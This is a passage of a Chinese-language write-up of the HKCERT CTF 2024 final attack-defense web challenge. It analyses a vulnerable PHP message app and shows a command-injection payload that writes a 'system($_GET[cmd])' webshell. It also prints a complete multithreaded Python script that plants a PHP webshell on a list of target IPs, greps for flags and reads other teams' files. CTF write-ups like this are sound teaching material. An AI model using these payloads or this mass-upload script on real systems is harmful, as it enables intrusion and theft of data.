HKcert CTF 2024 final mini-ad | Writeup
全网第一篇wp^ ^(本来回来那天就该写了,拖延症硬是拖到现在……) 由于这题的阉割版被我放在线上赛,如果想直接看线上赛题解可以直接在目录里只看初步分析即可 目录结构&主要文件 docker-compose.yaml 拓补图如下 只有proxy和ssh分配到内网ip。proxy设计得很聪明,作用是防止反弹shell,只能通过上马直连的方式获取有限的命令执行,拿不到tty,而且也防止了安插诸如mitmproxy这类中间人流量监控,保证自己的流量不被别人监听 接着就来直接分析一下web的代码 初步分析 只有一个后端文件post.php,前端给了三个种选项。lev2是直接发消息并保存到messages,lev4是添加token鉴权,lev7是在token鉴权基础上使用qrcode编码消息。 全审一遍后会发现,除了file_put_content能直接写入东西外,危险函数只有两个include和一个shell_exec 所以入手的思路就有两种 通过lev2/4写shell.php,直接访问messages/shell.php或用post.php?name=shell.php&level=2 通过lev7做命令截断,例如message=;echo \'<?php system($_GET["cmd"])?>\' > messages/{name}.php 但因为是awd,所以要进一步来做防御和持久化 实况回忆 能进入到线下赛的队伍肯定和我们一样都是久经沙场的老手,比赛刚开始的时候一看awd,大家也都马上拿出预存的现成一句马批量种植脚本,很快拿到前几轮flag。所以前8轮大家都是差不多的重复播种一句马,从这之后才开始出现画风突变,什么不死马、隐身文件,甚至只在文章里见过的RSA加密马这次还真在实战里碰上了XD 别的题我不清楚,但每个队伍负责这道题的web手们可以说在别人家的靶机上偷flag偷得是相当欢乐🌚 在大概30轮左右的时候,其实大家在短时间内能想出来的招数也已经差不多都使完了,不过我在比赛之前就料想到可能会有awd这么一环,根据以往的经验,我便决定采取“敌先动我不动”的策略,除了最开始的一句马脚本在接着跑grep 'flag'以外,在批量脚本里我还加上一句cat *,开始到处搜刮其他人靶机上留下的马 所以接下来的木马升级,我的核心思想就是“你的马就是我的马”和“我读不到谁也别想读到”😈,让歪果仁见识一下熟读孙子兵法的中国民间黑客的石粒! 木马设计 先放上我最开始的一句马脚本,后面的脚本都是在这个框架的基础上做修改 import requests import re from concurrent.futures import ThreadPoolExecutor, as_completed # 从 ip 文件中读取目标 IP 地址 def read_ips(): try: with open("ip", "r") as file: ips = file.read().splitlines() return ips except FileNotFoundError: print("错误:未找到 ip 文件。请确保目标 IP 列表文件存在。") return [] # 目标 URL 和参数 def get_target_url(ip): return f"http://{ip}/post.php" def get_file_url(ip): return f"http://{ip}/messages/akared555.php" PARAMS = { "name": "akared555.php", "message": "<?php system(\"grep -r 'MINIAD{' . && cat *\");?>", "level": "2", } # 请求头 HEADERS = { "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive", "Content-Length": "0", "Origin": "http://43.199.161.42", "Pragma": "no-cache", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0", } def upload_file(target_url): """ 上传文件到目标服务器 """ try: response = requests.post( target_url, params=PARAMS, headers=HEADERS, verify=False # 忽略 SSL 证书验证 ) return response.status_code == 200 except requests.RequestException: return False def check_flag(file_url): """ 检查上传的文件内容是否包含以 MINIAD{ 开头的 flag """ try: response = requests.get(file_url, headers=HEADERS, verify=False) if response.status_code == 200: content = response.text # 使用正则表达式查找以 MINIAD{ 开头的 flag flag_match = re.search(r"MINIAD\{.*?\}", content) if flag_match: print(f"找到 flag: {flag_match.group(0)}") except requests.RequestException: pass def attack_ip(ip): """ 对单个 IP 地址执行上传和检查操作 """ target_url = get_target_url(ip) file_url = get_file_url(ip) if upload_file(target_url): check_flag(file_url) def main(): """ 主函数:并发检查所有 IP 地址 """ ips = read_ips() if not ips: return # 使用线程池并发处理 with ThreadPoolExecutor(max_workers=10) as executor: while True: futures = [executor.submit(attack_ip, ip) for ip in ips] for future in as_completed(futures): future.result() # 等待任务完成 if __name__ == "__main__": main() 结构其实很简单,其实就是实现了最基本的上传和访问、获取功能 ...